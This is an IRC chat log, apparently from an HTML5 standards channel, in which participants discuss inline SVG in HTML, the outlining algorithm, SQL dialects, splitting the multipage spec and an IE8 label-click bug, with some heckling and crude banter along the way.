I've got AWSU

[09:19:03.0000] <[wito]>
M

[09:20:00.0000] <Steve^>
I have a question about the correct use of svg. It only works when the page is sent as xml?

[09:20:01.0000] <AryehGregor>
Steve^, no.

[09:20:02.0000] <AryehGregor>
It works in HTML serialization as well.

[09:20:03.0000] <[wito]>
except that it shouldn't.

[09:20:04.0000] <[wito]>
That's another thing

[09:21:00.0000] <[wito]>
which I'll detail in my article

[09:21:01.0000] <Steve^>
AryehGregor, I need to change the markup for that?

[09:21:02.0000] <jgraham>
Steve^: (assuming an HTML5 parser)

[09:21:03.0000] <AryehGregor>
[wito], you realize we've all heard these opinions a hundred times, I hope?

[09:21:04.0000] <jgraham>
(which only FIrefox nightlies have)

[09:21:05.0000] <[wito]>
Oh, yeah

[09:21:06.0000] <AryehGregor>
I'm going to guess you're not going to make a single point in your article that we haven't all considered.  But go ahead, I'm sure some of us will respond.

[09:21:07.0000] <AryehGregor>
Steve^, no, you don't in theory.

[09:21:08.0000] <AryehGregor>
However, of course most browsers don't yet support <svg>.

[09:22:00.0000] <Steve^>
does Opera 10?

[09:22:01.0000] <jgraham>
[wito]: I love your democratic notion that SVG "shouldn't" work in HTML. 

[09:22:02.0000] <[wito]>
AryehGregor: wut

[09:22:03.0000] <AryehGregor>
Steve^, no.  (AFAIK)

[09:22:04.0000] <Steve^>
Oh

[09:22:05.0000] <jgraham>
Steve^: No, sadly

[09:22:06.0000] <Lachy>
[wito], there was a lot of pressure for us to add support for SVG in HTML

[09:22:07.0000] <annevk2>
AryehGregor, seems your comment got passed validation btw

[09:22:08.0000] <Steve^>
It works when the file extension is .xml, rather than .htm

[09:22:09.0000] <[wito]>
Lachy: And you went ahead like populistic pigs and pissed over the fact that svg is mother fucking XML

[09:22:10.0000] <[wito]>
I'm sorry, that was a bit harsh

[09:22:11.0000] <Lachy>
[wito], in fact, there's still a lot of pressure for us to go further with regards to what we support and how

[09:22:12.0000] <[wito]>
s/pigs/dogs/

[09:22:13.0000] <Lachy>
woah, calm down

[09:23:00.0000] <jgraham>
Steve^: Yeah in Opera if you serve well formed XML then the SVG will render

[09:23:01.0000] <[wito]>
Lachy: I calm down in much the same fashion as Samuel L. Jackson does: Not.

[09:23:02.0000] <[wito]>
As is my god-given right.

[09:23:03.0000] <[wito]>
Or somesuch

[09:23:04.0000] <jgraham>
If you serve common or garden HTML (i.e. anything with a text/html mime type) then it won't

[09:23:05.0000] <Steve^>
jgraham, I was under the impression Opera had implemented svg properly. Since it hasn't, everything is fine, I can wait

[09:24:00.0000] <jgraham>
This doesn't have anything to do with our SVG implementation

[09:24:01.0000] <jgraham>
It's a HTML parser issue

[09:24:02.0000] <Lachy>
[wito], luckily, we have a right to ignore trolls too.

[09:24:03.0000] <[wito]>
Oh, yes

[09:24:04.0000] <[wito]>
Indeed.

[09:24:05.0000] <annevk2>
[wito], maybe you should get one of those tasty burgers

[09:24:06.0000] <[wito]>
annevk2: Maybe I should.

[09:24:07.0000] <Steve^>
Yea thats fine

[09:25:00.0000] <[wito]>
That, or get laid.

[09:25:01.0000] <[wito]>
I really need to get laid.

[09:25:02.0000] <jgraham>
We haven't updated our HTML parser to recognise SVG and put it in the rioght namespace so that our SVG code kicks in at the right time

[09:25:03.0000] <da3d>
I figure inline MathML is a lot more important than inline SVG in HTML, actually...

[09:25:04.0000] <[wito]>
Lachy: Unfortunately, I was called out on being [undemocratic]

[09:26:00.0000] <beowulf>
/me passes round the cheese on sticks

[09:26:01.0000] <jgraham>
I want jelly dammit

[09:26:02.0000] <[wito]>
and ignoring people outright is also rather undemocratic

[09:26:03.0000] <[wito]>
do, you know.

[09:26:04.0000] <Steve^>
I know where I've confused myself. Opera and friends support .svg but not the HTML5 version :)

[09:26:05.0000] <jgraham>
Steve^: Right

[09:27:00.0000] <Dashiva>
Although I still don't know why anyone would put SVG in <html> instead of in .svg

[09:27:01.0000] <[wito]>
Also, I don't mean to troll, I'm merely stating my (admittedly low) opion of HTML5

[09:27:02.0000] <[wito]>
and telling you that we will forward questions much more agressively.

[09:27:03.0000] <[wito]>
So, um.

[09:27:04.0000] <[wito]>
Yeah

[09:28:00.0000] <[wito]>
Cool cakes.

[09:28:01.0000] <Steve^>
Dashiva, so it can be generated on the fly by PHP, etc?

[09:28:02.0000] <jgraham>
[wito]: The thing about opinions is that everyone has them. Therefore they're not really very unique or interesting unless they are backed up with reasoned argument

[09:28:03.0000] <[wito]>
True

[09:28:04.0000] <jgraham>
Which so far yours haven't been

[09:28:05.0000] <[wito]>
but while I would *like* to present a coherent and reasoned argument; it's just too late in the week for me for that kind of thing.

[09:28:06.0000] <jgraham>
So I guess you should write that article or something

[09:28:07.0000] <Dashiva>
Steve^: People have been generating images on the fly a long time, so it seems to work fine as it is

[09:28:08.0000] <[wito]>
That's the plan·

[09:28:09.0000] <AryehGregor>
[wito], please do forward people here.  Obviously we don't want them getting your view of HTML5.  :)

[09:29:00.0000] <[wito]>
<below_belt>Then maybe you should stop making it suck. ;)

[09:29:01.0000] <Steve^>
Dashiva, but you then need to save it somewhere, keep track of it, clean it up. Why not send it once and forget?

[09:29:02.0000] <[wito]>
or is the <burn> tag more appropriate?

[09:29:03.0000] <[wito]>
I can never remember.

[09:29:04.0000] <[wito]>
</below_belt>

[09:30:00.0000] <Dashiva>
Steve^: Besides, it seems that use case would be served just as well by a data URL

[09:30:01.0000] <annevk2>
honestly, I'm glad there's still people that are violently opposed

[09:30:02.0000] <annevk2>
otherwise we'd be doing something wrong

[09:30:03.0000] <[wito]>
annevk2: You know what we should do?

[09:30:04.0000] <TabAtkins>
Dashiva: Yeah, a data url *would* work well.  And wouldn't give us any lip about namespaces and such in HTML.

[09:30:05.0000] <[wito]>
Get some boxing gloves on, duke it out, man to (wo?)man

[09:31:00.0000] <[wito]>
trust me

[09:31:01.0000] <[wito]>
it'd be hot.

[09:31:02.0000] <TabAtkins>
Anne's a guy.

[09:31:03.0000] <Steve^>
Dashiva, embed the svg data in get variables on an image request? Has its limits

[09:31:04.0000] <Dashiva>
get variables?

[09:31:05.0000] <[wito]>
we could sell tickets to that shindig

[09:31:06.0000] <Dashiva>
Why would you be using those?

[09:31:07.0000] <Steve^>
you know, ?foo=bar&so=on

[09:31:08.0000] <Steve^>
Ok, what do you mean?

[09:31:09.0000] <Dashiva>
data:application/svg+xml,nonsensegoeshere

[09:32:00.0000] <annevk2>
Steve^, fwiw, all browsers support generation of SVG on the fly through JavaScript/DOM

[09:32:01.0000] <annevk2>
Steve^, also in HTML

[09:32:02.0000] <Steve^>
Dashiva, where does that go?

[09:32:03.0000] <Dashiva>
In @src

[09:32:04.0000] <[wito]>
anyway, I'll get back to you with an article

[09:32:05.0000] <[wito]>
see you all on sunday

[09:32:06.0000] <[wito]>
[wito] out

[09:32:07.0000] <Steve^>
have a nice day

[09:33:00.0000] <annevk2>
that was amusing

[09:33:01.0000] <Steve^>
if you don't have crazy people shouting at you, you're doing it wrong

[09:33:02.0000] <TabAtkins>
Fun diversions.  At least the guy recognized when he jumped from crazy arguing to trolling.

[09:33:03.0000] <Dashiva>
But surely that's not the only reason for inline svg

[09:34:00.0000] <Steve^>
Ok, didn't realise you could do that.

[09:34:01.0000] <Steve^>
Readability?

[09:34:02.0000] <TabAtkins>
SVG isn't very readable once you go beyond trivial hand-authored examples.  ^_^

[09:34:03.0000] <TabAtkins>
Though that may be the fault of the tools.

[09:35:00.0000] <jgraham>
Dashiva: It makes sense for cases where you have a lot of SVG and HTML all together and don't want strict parsing, no?

[09:35:01.0000] <Philip`>
jgraham: In review-free environments, it lets you keep a clean repository history by e.g. adding a feature in one patch, then adding another feature on top of it in another patch, then going back and editing the first one, and then committing everything without any of the back-and-forth mess

[09:35:02.0000] <Philip`>
hsivonen: Hmm, yes, I guess I should fix the spec-splitter :-(

[09:35:03.0000] <TabAtkins>
I think it makes sense to let SVG stay strict in its parsing, because it's already established as being so.

[09:35:04.0000] <jgraham>
Philip`: Yeah. I was reading about it a bit more. I guess I should try it out

[09:36:00.0000] <Dashiva>
jgraham: Lots of dynamic SVG and non-strict HTML?

[09:36:01.0000] <Philip`>
(Also probably ought to fix it to split into more even-sized sections too, since Hixie irritatingly has done work on the spec and it's all different now)

[09:36:02.0000] <jgraham>
TabAtkins: I disagree because I think that strict parsing is a hinderance to SVG

[09:36:03.0000] <jgraham>
I wouldn't deploy a mainly-dynamic-svg interface to amazon.com with strict parsing

[09:37:00.0000] <Dashiva>
Wouldn't a mostly-dynamic-svg interface be done in JS?

[09:37:01.0000] <TabAtkins>
Shrug.  I still like the idea of XML strictness, even if it's totally unworkable on the public web.

[09:37:02.0000] <jgraham>
Dashiva: "dynamic" in the sense of "generated by server-side scripts"

[09:37:03.0000] <Steve^>
I think XSLT taught me that XML isn't always the way to go

[09:38:00.0000] <TabAtkins>
I think XSLT just teaches that XSLT isn't the way to go.  Like, ever.

[09:38:01.0000] <beowulf>
Steve^: XSLT taught me that XSisn't  that way to go

[09:38:02.0000] <Philip`>
jgraham: "an <sql> tga that did queries against HTML tables!" - if I remember correctly, tantek talked about adding something for SQL queries on tables and <csv>s recently, though maybe I'm just imagining that

[09:38:03.0000] <Dashiva>
Philip`: Sure that wasn't Dmitry Turin?

[09:38:04.0000] <beowulf>
i lost an LT\s in that sentence

[09:39:00.0000] <TabAtkins>
Philip`: Yeah, tantek was free-associating with treating tables like SQL.

[09:40:00.0000] <TabAtkins>
I'm pretty sure he meant it as a javascript api, though.

[09:41:00.0000] <Steve^>
Due to bandwidth, I download the HTML5 spec as a PDF. In two weeks, how out of date would it be?

[09:41:01.0000] <TabAtkins>
Philip`: Oh, and we settled on just embedding csv into a <pre> with a @separator attribute being the flag for "treat this as csv".

[09:41:02.0000] <jgraham>
But with an <svg> tag users of legacy browsers would be able to see the SQL so they could run the queries manually, giving them equivalent functionaility albeit with reduced performance

[09:41:03.0000] <TabAtkins>
Steve^ you can keep track of that exactly by following WHATWG on twitter.

[09:41:04.0000] <TabAtkins>
I think at the point that users see and understand SQL they could just read the js and be equally enlightened.

[09:42:00.0000] <annevk2>
Steve^, at this point changes are mostly non-normative

[09:42:01.0000] <annevk2>
Steve^, though a lot of the changes could help you understand the spec better, such as the addition of markup examples

[09:42:02.0000] <jgraham>
/me was being less than entirely serious

[09:42:03.0000] <Steve^>
ok, cool

[09:42:04.0000] <TabAtkins>
jgraham: Noted, but still wanted to respond.  ^_^

[09:44:00.0000] <Steve^>
The spec talks of an outlining algorithm. Has this been implemented anywhere? (Can I see what it would produce for my site?)

[09:45:00.0000] <TabAtkins>
Damn, having a hard time finding if anyone has put together a js library for executing sql against html tables, because of all the noise about people wanting to display sql results as tables.

[09:45:01.0000] <TabAtkins>
Steve^ gsnedders has something for that.

[09:45:02.0000] <da3d>
Steve^: http://gsnedders.html5.org/outliner/

[09:45:03.0000] <Steve^>
thanks

[09:47:00.0000] <Steve^>
uh oh, I have untitled sections ;)

[09:48:00.0000] <Philip`>
TabAtkins: There's stuff like http://code.google.com/p/trimpath/wiki/TrimQuery for doing SQL in JS

[09:49:00.0000] <Philip`>
There must be a better syntax for this kind of thing than SQL, though

[09:49:01.0000] <TabAtkins>
Philip`, awesome thanks.

[09:49:02.0000] <TabAtkins>
Aw, I like SQL though.

[09:49:03.0000] <TabAtkins>
Plus, everyone knows it.

[09:50:00.0000] <Philip`>
Everyone knows one dialect of it, which is slightly incompatible with every other dialect

[09:51:00.0000] <TabAtkins>
But only in minor ways.  The essence of SQL is pretty universal.

[09:51:01.0000] <TabAtkins>
Especially simple stuff like SELECTing.

[09:51:02.0000] <TabAtkins>
A lot of the differences I notice are in CREATE and complex things like triggers.

[09:51:03.0000] <AryehGregor>
Like LIMIT vs. TOP vs. some convoluted thing involving stuff I've never even heard of?

[09:52:00.0000] <AryehGregor>
Or in how when doing GROUP BY you can select unrelated columns with aggregation operators in MySQL, but like no other DBMS?

[09:52:01.0000] <AryehGregor>
Or like how SQLite requires an ESCAPE clause after LIKE if you want to escape anything?

[09:52:02.0000] <TabAtkins>
Bah, you're no fun.

[09:52:03.0000] <Steve^>
I agree with TabAtkins 

[09:53:00.0000] <Steve^>
The core commands are transferable

[09:53:01.0000] <TabAtkins>
Anyway, modifying TrimQuery actually looks like it could be done solely by parsing a table into a json resultset.

[09:53:02.0000] <Steve^>
which is extremely helpful when you're in an unfamiliar system

[09:53:03.0000] <AryehGregor>
Or like INSERT IGNORE, REPLACE, INSERT ... ON DUPLICATE KEY UPDATE from MySQL?

[09:53:04.0000] <AryehGregor>
Or multivalue INSERT?

[09:54:00.0000] <TabAtkins>
/me plugs his ears.

[09:54:01.0000] <TabAtkins>
Notice that I said "the essence of SQL".

[09:54:02.0000] <Philip`>
Or concatenating strings

[09:54:03.0000] <AryehGregor>
Or the exact syntax for UNION.

[09:54:04.0000] <Philip`>
Or whether columns are statically typed

[09:55:00.0000] <AryehGregor>
Or . . . well, look in includes/db/ in MediaWiki for our DB abstraction layer.  :)

[09:55:01.0000] <TabAtkins>
So hey, your point has long since been driven into the ground.  Congratulations.

[09:55:02.0000] <AryehGregor>
Lots of fun stuff in there, and most of it doesn't work too well regardless.

[09:55:03.0000] <AryehGregor>
Also, SQL is a terrible language on its merits.

[09:55:04.0000] <Philip`>
TabAtkins: The essence of SQL is just relational algebra, and you can do that in any syntax, e.g. a nicer JS-like one :-)

[09:55:05.0000] <AryehGregor>
It's unreasonably verbose, unpredictable, and hard to understand for newcomers.

[09:56:00.0000] <Philip`>
(I guess that's kind of what LINQ does too, though I know nothing about it)

[09:56:01.0000] <TabAtkins>
AryehGregor: And yet, it exists everywhere.  It's ubiquitous.  It's a very successful horrible technology.

[09:56:02.0000] <Philip`>
TabAtkins: Just like HTML

[09:56:03.0000] <gsnedders>
/me wants to implement outlining in JS

[09:56:04.0000] <TabAtkins>
*Exactly*.

[09:57:00.0000] <TabAtkins>
gsnedders: That's easy.

[09:57:01.0000] <Philip`>
gsnedders: Just write a Python interpreter in JS

[09:57:02.0000] <TabAtkins>
gsnedders: If you can include a jquery dependency...

[09:57:03.0000] <gsnedders>
TabAtkins: It's not hard without it

[09:58:00.0000] <TabAtkins>
gsnedders: Yeah, but it's easier.  And I can't actually program in DOM.  ;_;

[10:00:00.0000] <jgraham>
gsnedders: Why are you telling us about it? you could be *doing* it

[10:01:00.0000] <TabAtkins>
Doing it is way funner.

[10:01:01.0000] <TabAtkins>
/me already knows what this weekend's project will be.

[10:03:00.0000] <gsnedders>
TabAtkins: It's no easier, as far as I can tell.

[10:03:01.0000] <gsnedders>
jgraham: Waiting for phone calls…

[10:04:00.0000] <Steve^>
oh, its 9/11

[10:05:00.0000] <Steve^>
trending topics seem to be my main source of news nowadays

[10:05:01.0000] <gsnedders>
Steve^: That's not a valid ISO8601 date.

[10:06:00.0000] <Philip`>
Steve^: The date is considered news?

[10:06:01.0000] <jgraham>
Philip`: Well it changes every day

[10:07:00.0000] <Philip`>
Dates don't seem particularly rare, or unpredictable

[10:07:01.0000] <jgraham>
You obviously never lived through a calendar change

[10:07:02.0000] <Philip`>
Well, no, because I'm not five hundred years old

[10:09:00.0000] <beowulf>
yeah, but with all the kids running around you feel it, don't you?

[10:10:00.0000] <gsnedders>
scrollIntoView is DOM0, right?

[10:14:00.0000] <gsnedders>
And isn't in CSSOM View…

[10:14:01.0000] <gsnedders>
scroll(el.offsetLeft, el.offsetTop) should be the same as el.scrollIntoView(true), right?

[10:16:00.0000] <Steve^>
I wonder if I can change wordpress to automatically add sections to my posts

[10:17:00.0000] <Steve^>
Although, if it can be automatic, you could say its pointless to do

[10:39:00.0000] <annevk2>
and, is http://web.archive.org/web/20080204211015/http://www.hitachi-to.co.jp/prod/prod_2/inter/emk/help/TextEncoder/CodePage.htm more accurate for Internet Explorer?

[10:39:01.0000] <annevk2>
and, it does include UTF8 as label, for instance

[10:47:00.0000] <Steve^>
the definition of flow content feels weak

[10:59:00.0000] <Lachy_>
Steve^, how would you suggest improving it?

[11:01:00.0000] <Steve^>
I don't really understand what it is

[11:02:00.0000] <Lachy_>
it's a catch-all category for things that can be used almost anywhere

[11:02:01.0000] <Lachy_>
the name of it is inherited from the HTML4 concept of %Flow; from the DTDs

[11:03:00.0000] <Steve^>
You list the things that can be used almost anywhere in Flow content, rather than listing the few things that can't be?

[11:07:00.0000] <Lachy_>
yes

[11:08:00.0000] <Steve^>
Flow feels like the odd one out, but I can't think of a better solution

[11:12:00.0000] <Lachy>
Steve^, I once tried to come up with a better description for it, but didn't really succeed

[11:12:01.0000] <Lachy>
http://dev.w3.org/html5/html-author/#flow-content

[11:13:00.0000] <Steve^>
is there a list somewhere of things that aren't flow?

[11:14:00.0000] <Lachy>
Steve^, there will eventually be a table that lists all the elements and their categories here http://dev.w3.org/html5/html-author/#index-of-elements

[11:29:00.0000] <Lachy>
so apparently, HTML 5's proposed basis in DOM/JS skews web control and monetization towards corporations and away from individual authors/researchers, to the detriment of society, and we should incorporate ODRL into HTML5.

[11:29:01.0000] <Lachy>
http://lists.w3.org/Archives/Public/www-tag/2009Sep/0028.html

[11:30:00.0000] <Lachy>
if anyone can actually comprhend what that guy is ranting about, let me know

[11:33:00.0000] <TabAtkins>
Lachy: As far as I can tell, he's going something like this (you've probably already gotten this far in comprehension):

[11:33:01.0000] <hober>
Lachy: seriously. Also, makes an interesting constrast with http://happyworm.com/blog/2009/08/24/html-5-the-revolution-will-not-be-televised/

[11:33:02.0000] <Steve^>
"when there are high barriers to entry in science and 

[11:33:03.0000] <Steve^>
arts publishing, publishers can achieve monopolistic or oligopolistic 

[11:33:04.0000] <Steve^>
returns of scale."

[11:33:05.0000] <TabAtkins>
"I don't understand javascript or the DOM.  Web 2.0 things use javascript, and make a lot of money.  I am also anti-corporate, so anything that makes money must be bad for me, especially since I don't understand it."

[11:34:00.0000] <Steve^>
So, the document is so complicated that only Microsoft can profit from it?

[11:34:01.0000] <hober>
Steve^: that would explain how IE8 has more HTML5 features in it than all of the other browsers combined. Oh, wait.

[11:35:00.0000] <Lachy>
TabAtkins, I got the "I don't understand javascript or the DOM" bit myself, and your summary of the rest seems to make sense

[11:35:01.0000] <Steve^>
I don't know Javascript and yet the HTML5 is quite readable to me

[11:35:02.0000] <Steve^>
they seem to be quite separate

[11:37:00.0000] <Steve^>
FYI, I am NOT Steven Rowat :P

[11:37:01.0000] <TabAtkins>
Then there's some vague hand-waving about it being impossible for an individual to understand html5, thus hurting work-at-home efforts and presumably benefitting corporations.  I think this is just tying back into the "I don't understand" angle.

[11:37:02.0000] <Lachy>
Steve^, I assumed that since nothing you've said reaches the same level of incomprehension as him

[11:38:00.0000] <Steve^>
awww, thanks

[11:38:01.0000] <Lachy>
TabAtkins, have you figured out how the ODRL thing at the end fits in with the rest?

[11:38:02.0000] <Steve^>
Oh and which bit of HTML 5 is complicated?

[11:39:00.0000] <TabAtkins>
Wow, I actually skipped right past that.  One sec.

[11:39:01.0000] <Steve^>
Sure, the content models are new and require some thought, but nothing the odd blog post won't fix

[11:40:00.0000] <TabAtkins>
All right, looks like the odrl thing is "I don't understand ODRL, but it has 'Open' in its name and thus is probably bad for corporations.  Use that instead of javascript."

[11:40:01.0000] <Steve^>
TabAtkins, you could have your own TV show to rival the likes of Dr Phil

[11:40:02.0000] <TabAtkins>
Presumably for expressing rights, but it's not made clear how that relates to anything else in the email.

[11:41:00.0000] <TabAtkins>
Steve^, what, where I ridicule people who are possibly schizophrenic on the internet?

[11:41:01.0000] <Steve^>
rather you translate their shit into real words 

[11:41:02.0000] <TabAtkins>
Well, if I were on the TAG mailing list I might try to do that.

[11:42:00.0000] <Steve^>
If you were to switch every mention of Javascript to Silverlight, the document would make an equal amount of nonsense

[11:42:01.0000] <TabAtkins>
But as far as I can tell I don't want to be on the TAG mailing list.

[11:43:00.0000] <Steve^>
The conspiracy theory must be that the head of Mozilla and Opera are undercover Microsoft operatives

[11:43:01.0000] <TabAtkins>
Gah, I think my brain is locking in its attempt to understand how rights expression has anything to do with the complexity of javascript.

[11:44:00.0000] <Lachy>
Steve^, shh! Don't tell everyone

[11:44:01.0000] <TabAtkins>
Steve^, I've seen the pictures with Sylvain, Anne, and Hakon having drinks together.  Clear evidence of conspiracy!

[11:44:02.0000] <TabAtkins>
Lachy, are you planning to respond to that email?

[11:44:03.0000] <Lachy>
no

[11:44:04.0000] <Lachy>
I'm not on the tag mailing list

[11:44:05.0000] <TabAtkins>
k. ^_^

[11:45:00.0000] <Steve^>
the only response it:

[11:45:01.0000] <Steve^>
TLDR

[11:45:02.0000] <Steve^>
*is

[11:45:03.0000] <Lachy>
WTF?

[11:45:04.0000] <Steve^>
Too long, didn't read

[11:45:05.0000] <TabAtkins>
That would be a valid response, but I think actually calling out the nonsensical bullshit would be amusing.

[11:45:06.0000] <TabAtkins>
tl;dr

[11:46:00.0000] <Steve^>
if you say that the documents are of a monopolistic nature, then his arguments may make some sort of sense

[11:46:01.0000] <Steve^>
but there is no proof of the former

[11:47:00.0000] <Lachy>
Steve^, ah, but in my case, it would be TMCDCAAWTFDODRLHTDW?I

[11:47:01.0000] <Lachy>
--> Too much crap, didn't comprehend anything, and wtf does ODRL have to do with it?!

[11:48:00.0000] <Dashiva>
So many interesting people

[11:49:00.0000] <waqas>
Dashiva, just what I was thinking.

[11:49:01.0000] <TabAtkins>
So, full explanation of his email: "I don't understand javascript, so it must be too complicated for *anyone* to understand and only groups can use it.  Corporations have groups of people, so they're trying to influence the language to make it better for them and worse for startups.  This is a tragedy because then nobody can work from home.  Apropos of nothing, I like ODRL and think it...

[11:49:02.0000] <TabAtkins>
...should be given language-level support."

[11:51:00.0000] <Steve^>
you have invested too much thought into this

[11:51:01.0000] <Steve^>
the crazy people have won another round

[11:52:00.0000] <TabAtkins>
Indeed.

[11:52:01.0000] <Philip`>
Steve^: You are ignoring the return on the investment, which is a reasonable amount of entertainment and a continued feeling of superiority, making it worthwhile

[11:53:00.0000] <Steve^>
this is true

[11:53:01.0000] <Steve^>
I am superior

[11:54:00.0000] <cardona507>
is <meta name=""> for keywords and description?

[11:56:00.0000] <Lachy>
cardona507, http://www.whatwg.org/specs/web-apps/current-work/multipage/#standard-metadata-names

[11:56:01.0000] <cardona507>
<meta name="description" content="foo">?

[11:56:02.0000] <cardona507>
thanks lachy

[11:58:00.0000] <Philip`>
Why does http://html5.googlecode.com/svn/trunk/incoming/ exist, containing two SVN repositories inside the SVN repository?

[12:08:00.0000] <Philip`>
Would people prefer multipage sections to be generally larger or smaller than they currently are?

[12:09:00.0000] <TabAtkins>
Smaller.

[12:09:01.0000] <Steve^>
smaller

[12:09:02.0000] <Philip`>
Why?

[12:09:03.0000] <TabAtkins>
Because they're very large?

[12:10:00.0000] <Steve^>
My internet is through a mobile broadband dongle and its expensive to keep loading so much information

[12:10:01.0000] <Steve^>
it would be nice for the default spec page to not be the single page version

[12:10:02.0000] <TabAtkins>
And I just plain have an old computer that takes a bit to process even the multipage sections.

[12:10:03.0000] <Philip`>
Steve^: Which default? http://whatwg.org/html5 is the multipage one

[12:10:04.0000] <TabAtkins>
Steve^ - just go to whatwg.org/html5.  That's the multipage version.

[12:10:05.0000] <Steve^>
yes, I know that now

[12:11:00.0000] <Steve^>
but if you click Specs on the frontpage

[12:11:01.0000] <and>
annevk2: I have no reason to believe that it should be more accurate, but it would be a good idea to have a look at the labels which are listed either there or in the .NET reference but not in the current wiki table.

[12:11:02.0000] <Philip`>
Steve^: Hmm, that's a good point - maybe you should mail Hixie asking him to change it

[12:12:00.0000] <Philip`>
Anyway, since the votes are currently 2 vs 0, I'll try to err on the side of making smaller sections :-)

[12:12:01.0000] <Steve^>
the first bit of the spec detailing the options available should be displayed instead

[12:13:00.0000] <Philip`>
/me could aim for <100KB

[12:13:01.0000] <TabAtkins>
That'd be nice, Philip`.

[12:13:02.0000] <and>
annevk2: The change from ‘may’ to ‘must’ this morning is not really a ‘minor’ ‘[w]ording’ edit.

[12:14:00.0000] <Steve^>
Philip`, the current version has a page for each second-level menu item?

[12:14:01.0000] <Steve^>
you would split that into several pages or split it by third-level?

[12:14:02.0000] <and>
hsivonen: Thanks a lot!

[12:15:00.0000] <annevk3>
and, I didn't make that change, but I do agree with it (well, that was the intent of the original wording anyway)

[12:16:00.0000] <and>
annevk3: I noticed that, and was not sure you would agree.

[12:16:01.0000] <annevk3>
and, ah ok

[12:16:02.0000] <annevk3>
and, btw, you said the IE data didn't match, I totally missed http://html5.org/temp/2009/ie-encodings.htm (copy of webarchive) earlier which also gives IE data

[12:17:00.0000] <Philip`>
Steve^: It's split on <h2>s (the ~dozen top-level sections), plus a list of human-selected points that attempt to make it sensibly split (no huge pages, no tiny pages, etc)

[12:17:01.0000] <annevk3>
and, ah, you added that

[12:19:00.0000] <and>
Yes, it was the best reference I found a long time ago, and it still seems to list labels not on the wiki, but I have not checked whether or not IE8 actually support those.

[12:20:00.0000] <annevk3>
my IE situation is still pretty crappy because my laptop does not have enough ram for running several OSs at the same time

[12:22:00.0000] <and>
I plan to test the labels on the wiki in IE8 tonight and let you know what the results are. 

[12:23:00.0000] <Steve^>
http://spoon.net/browsers/ lets you run any browser via the web

[12:23:01.0000] <Steve^>
though it is Windows only

[12:23:02.0000] <TabAtkins>
Hrm, IE8 won't run click handlers on display:none inputs.  

[12:24:00.0000] <Dashiva>
How would you click them?

[12:24:01.0000] <TabAtkins>
<label>

[12:24:02.0000] <annevk3>
and, I'll try make a table for Safari/ICU this weekend

[12:24:03.0000] <TabAtkins>
And damn, visibility:hidden suppressed the handlers too.  I guess I'll have to position them offscreen.  >_<

[12:24:04.0000] <annevk3>
and, shouldn't be too hard

[12:25:00.0000] <Steve^>
TabAtkins, why are you clicking invisible buttons?

[12:25:01.0000] <TabAtkins>
Steve^: I have a list of checkboxes and radios.  For styling purposes I'm hiding the inputs themselves and just styling the label when they're :checked.

[12:29:00.0000] <Steve^>
how do you know if they are checkboxes or radio buttons?

[12:29:01.0000] <TabAtkins>
Regardless, that seems like an interop bug (well, it *is* an interop bug - I just got a bug filed against me by QA because of it).  Anyone know what the correct behavior is?

[12:29:02.0000] <TabAtkins>
Steve^ doesn't matter for this .

[12:29:03.0000] <Dashiva>
TabAtkins: Why don't you just have onclick on the label?

[12:30:00.0000] <TabAtkins>
Dashiva: a few reasons.  For one, that's just silly - why not just remove the inputs entirely?  For two, this code was originally designed assuming visible inputs, so I've got a lot of onclick handlers on the inputs.  Moving them all to the label wouldn't be trivial.

[12:31:00.0000] <TabAtkins>
I do believe in semantics here, after all.  ^_^

[12:31:01.0000] <Dashiva>
It seems like a prime candidate for <span role="checkbox"> :)

[12:31:02.0000] <Steve^>
when you turn off the CSS, you would get nice checkboxes, true

[12:34:00.0000] <Philip`>
Argh, <div class=impl> breaks the splitter :-(

[12:34:01.0000] <AryehGregor>
TabAtkins, IE8 sounds like it should be correct . . . the input isn't receiving the click, after all.

[12:35:00.0000] <Steve^>
the label is though and it is responsible for passing the click to the input

[12:35:01.0000] <TabAtkins>
AryehGregor: Isn't it, though?  Everyone treats it as receiving the click.  I'm not sure which is the correct behavior.

[12:35:02.0000] <TabAtkins>
If you're saying that clicking the <label> should not, in general, fire click handlers for the associated input, then *everyone* disagrees with you.

[12:36:00.0000] <TabAtkins>
/me sighs.

[12:36:01.0000] <TabAtkins>
Our SEO company is getting uppity again about wanting server access.

[12:37:00.0000] <Steve^>
they want your dataz

[12:38:00.0000] <Steve^>
"For example, on platforms where clicking a checkbox label checks the checkbox, clicking the label in the following snippet could trigger the user agent to run synthetic click activation steps (page 123) on the input element, as if the element itself had been triggered by the user:"

[12:38:01.0000] <TabAtkins>
Yeah, everyone does that.

[12:38:02.0000] <Steve^>
someone chose the word "could". So you're screwed :)

[12:39:00.0000] <AryehGregor>
Yay.

[12:39:01.0000] <TabAtkins>
The question is just whether it should continue to do on inputs which have been hidden via CSS.

[12:40:00.0000] <Steve^>
just push them off the screen

[12:40:01.0000] <Steve^>
then everyone is happy

[12:41:00.0000] <AryehGregor>
TabAtkins, it looks like the spec is trying to defer to platform conventions here.

[12:41:01.0000] <TabAtkins>
Yeah, that's what I've done.  But that's stupid and I hate it.

[12:41:02.0000] <AryehGregor>
I'm not sure that's meaningful in this case, though.

[12:41:03.0000] <TabAtkins>
Yeah, because there's probably not a sense of "hidden via CSS" in the normal platform.

[12:42:00.0000] <TabAtkins>
So, time to file a bug!

[12:44:00.0000] <Philip`>
Is there some way to stop Opera Turbo being stupid and popping up a little thing saying it thinks I'm on a slow network, when actually I'm not?

[12:44:01.0000] <Steve^>
click arrow, configure

[12:44:02.0000] <AryehGregor>
TabAtkins, more than that, platform conventions are only supposed to be relevant to UI, not development . . .

[12:46:00.0000] <Steve^>
Technically, you should be using some onCheck callback

[12:46:01.0000] <Philip`>
Oh, I didn't see the 'notify' option in the configure dialog

[12:49:00.0000] <TabAtkins>
Steve^: I suppose I could maybe use the change event, but I doubt that'll help here.

[12:53:00.0000] <Philip`>
Hixie: Is there any chance you could split the <div class="impl"> in "Parsing HTML documents" so there's one div around each subsection in there, instead of just one around the whole section?

[12:54:00.0000] <Philip`>
(other the spec-splitter can't split it while preserving the implness of all the subsections, and I'm not going to bother trying to add lots of fancy code to make it work)

[12:54:01.0000] <Philip`>
s/other/otherwise/

[13:05:00.0000] <TabAtkins>
Man, upgrading wordpress was stupid easy.  Two clicks.  One to upgrade files, and one to upgrade the db when I logged into the admin again.

[13:05:01.0000] <Hixie>
Philip`: is that the only occurance of that problem?

[13:06:00.0000] <Hixie>
wait, aren't there like eighteen bazillion subsections in that one?

[13:06:01.0000] <Philip`>
Hixie: It's the only serious one (it ends up with a 380KB page)

[13:07:00.0000] <Philip`>
(I think "Rendering" is next most serious unsplittable one, but that's only 140KB which isn't really a problem)

[13:07:01.0000] <Hixie>
